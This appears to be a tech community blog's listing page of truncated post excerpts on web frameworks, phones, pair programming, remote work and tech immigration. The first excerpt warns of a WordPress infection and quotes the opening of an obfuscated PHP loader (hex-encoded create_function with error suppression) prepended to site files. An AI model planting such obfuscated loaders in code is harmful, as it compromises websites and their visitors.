Watch out for a new server infection. No one is sure but it is thought it begins with brute force guessing of a wordpress login.
Then every php file is prepended with:
<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework(
This apparently inserts a malicious snippet of java into your wordpress pages - that you do not see but which infects the user's computer.
At the same…Continue

I love to travel, and over time I have had the good fortune to visit a couple of dozen countries around the world. One thing I noticed from country to country was a correlation between the wealth distribution among its populace…Continue

You have the latest and greatest idea for a web application. You tell your friends and colleagues, and put together a small team to get the idea rolling. Your programmer, a Ruby on Rails guy, develops a prototype of the web application that works on his machine. You want access to it to show it off, and put it in front of users to get feedback.
Even though you believe in your idea, there's a part of you that's not "all in". You…Continue

The front-end framework of choice for MVC 4 web applications seems to be Knockout.js. It's fairly robust and easy to add/remove from projects via NuGet and provides an MVVM feel much like Silverlight or WPF.
Think of a label control used in WPF. Using data bindings, you tell the label to display certain text. If the object representing the text displayed is updated, WPF kindly…Continue

A firestorm erupted after chief Yahoo Marissa Mayer banned working from home in an effort to shock the moribund company culture back to life. The resulting debate over whether working from home was good for corporate innovation and productivity is, to me, not all that interesting. I don’t know of anyone who doesn’t work from home even after putting in a full day at the office -- at the very least, they check and respond to office emails and make work-related calls during…Continue
Last winter I bought a Lumia 920 which runs Windows Phone 8. Windows Phone 8 is a large overhaul of Windows Phone 7 because now it uses the same kernel as Windows 8. It also added support for better hardware and a more flexible development framework. Previously I have used the original iPhone, the iPhone 4 and the Galaxy Nexus Google Android phone. I have never seen anyone with a Windows Phone and I thought it looked neat so I decided to try it…Continue
So last week I flew over to Oahu and had brunch with Daniel Leuck (whom you all know if you read TechHui). It was a great trip, but one of the highlights of it for me was his absolute surprise we had revenue. Apparently this is a big deal.
He had to explain it to me, because I was clueless. Daniel is of course…Continue
In case you are not super familiar with pair programming here are the core essentials of how it works. Two programmers sit in front of the computer they are working on and slide the keyboard/mouse back and forth. The person with the controls is called the driver the other is navigator or observer. To those that have never done it before it can sound kind of stupid but when it's done right it can actually be…Continue
Political junkies (like me) and immigration stakeholders (including many technology employers) have been watching as the immigration reform process moves forward in the current congressional session. After much watching and speculation (see for example, earlier posts here) about what impact this will have on the high tech industry, there is now a bill being offered in the U.S.…Continue

It has been more than 6 months since I launched RedeemHi5.com, which I wrote about in one of my first blog posts. The launch hasn't been perfect; the most major issue is that the connection to the database gets lost and it doesn't reconnect, thus leaving people with a loading screen. The first thing to do, of course, is to fix it. In addition, though, I wanted to add tests to document these issues and maintain some peace of mind as I…Continue
I have been immersed in Rails development for the last several months and I almost always recommend Rails as the best platform for raising a new website from scratch. Recently, though, an opportunity came up to work on a .NET MVC 4 project. Great, I thought. I get to switch back to my favorite language (C#) and still develop in an MVC framework.
Below, I will compare some major feature areas of both frameworks:…Continue
On March 13th, 4:00am HST, registration for the Google I/O 2013 conference opened to the public. Barely coherent, at 3:45am I rolled out of bed, bumping each wall in my apartment hallway as I stumbled towards my Macbook. I checked to see if my Google+ and Google Wallet accounts were properly set up as…Continue
Recently, I have come across this infographic floating around the web that I believe deserves more attention. You can see the full version here. It illustrates the labor pool shortage we are experiencing in STEM…Continue
Many of us have either had the urge to write a book or spew some sort of long-winded excrement of words. Maybe it's a story that's been bouncing around in your head, a piece of history you would like to document, or a coalescence of documentation/blog posts on a subject you are passionate about. Regardless of…Continue
It wasn't so long ago that functional programming seemed to be an arcane science. If you knew Haskell, Standard ML, or Common Lisp, you've either been programming for a very long time, involved in computer science research, or just had a lot of free time on your hands. However, functional programming has been making a comeback with…Continue
